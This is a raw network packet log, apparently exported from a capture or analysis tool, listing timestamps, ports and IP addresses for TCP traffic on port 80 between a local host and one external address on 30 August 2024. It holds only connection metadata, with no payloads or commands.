Aug 30, 2024 18:18:09.079920053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079929113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079930067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079946041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079973936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080096960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080106974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080116987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080125093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080130100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080136061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080144882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080144882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080173969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080331087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080341101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080349922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080363989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080377102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080387115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080389023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080394983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080404043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080418110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080432892 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080655098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080665112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080672979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080687046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080709934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080872059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080881119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080890894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080899954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080904961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080909967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080918074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080926895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080934048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080935001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080944061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080952883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080960989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080965042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.080971003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.080981016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081259012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081269026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081278086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081280947 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081285954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081286907 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081329107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081442118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081451893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081461906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081470966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081475019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081499100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081533909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081564903 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081644058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081654072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081662893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081671000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081674099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081680059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081688881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081692934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081698895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081722975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081737995 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081881046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081891060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081899881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081907988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081913948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081918001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081926107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081932068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081937075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.081958055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.081973076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082012892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082021952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082030058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082040071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082041979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082047939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082056999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082061052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082070112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082078934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082087994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082087994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082098961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082108021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082123995 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082573891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082582951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082591057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082598925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082607031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082608938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082617044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082626104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082633018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082636118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082645893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082653999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.082662106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082676888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.082690954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160546064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160583973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160593987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160628080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160654068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160686970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160697937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160707951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160717010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160727024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160753965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160867929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160878897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160901070 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160926104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.160984993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.160996914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161020041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161031008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161088943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161098003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161107063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161123037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161147118 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161833048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161869049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161873102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161879063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.161900997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161915064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.161994934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.162004948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.162019014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.162028074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.162029982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.162045956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.162070990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.162130117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.162161112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163512945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163552999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163570881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163580894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163603067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163616896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163623095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163633108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163652897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163667917 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163737059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163747072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163755894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163769960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163789034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163850069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163858891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163885117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163937092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163947105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.163968086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.163991928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164052010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164061069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164069891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164078951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164103031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164129019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164354086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164381981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164386988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164417028 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164463043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164475918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164496899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164513111 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164586067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164594889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164603949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.164618015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.164638996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167246103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167265892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167288065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167289019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167320967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167376041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167387009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167396069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167413950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167439938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167453051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167484999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167522907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167534113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167545080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167552948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167555094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167578936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167593002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167706966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167716980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167726994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167737007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167740107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167747974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167756081 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167757988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167782068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167798996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167820930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167853117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.167968035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167978048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.167994022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168003082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168004990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168015003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168016911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168025017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168032885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168035984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168045998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168061972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168077946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168226004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168237925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168247938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168261051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168287039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168440104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168451071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168459892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168469906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168474913 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168486118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168497086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168507099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168508053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168518066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168528080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168533087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168540955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168550014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168565989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168586969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168766975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168777943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168788910 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168797970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168802977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168807983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168818951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168822050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168836117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168843985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168853998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168863058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168885946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.168958902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168968916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.168992996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169006109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169130087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169140100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169156075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169162989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169167042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169177055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169178009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169187069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169195890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169198036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169209003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169220924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169224977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169234037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169240952 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169256926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169287920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169394970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169405937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169426918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169440031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169549942 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169560909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169570923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169579983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169583082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169590950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169600964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169600964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169626951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169795036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169805050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169815063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169823885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169828892 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169841051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169850111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169859886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169859886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169871092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169881105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169884920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169892073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.169903040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.169922113 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248274088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248342991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248377085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248387098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248397112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248406887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248409033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248430014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248461008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248464108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248471022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.248491049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.248505116 CEST	49730	80	192.168.2.4	185.215.113.100
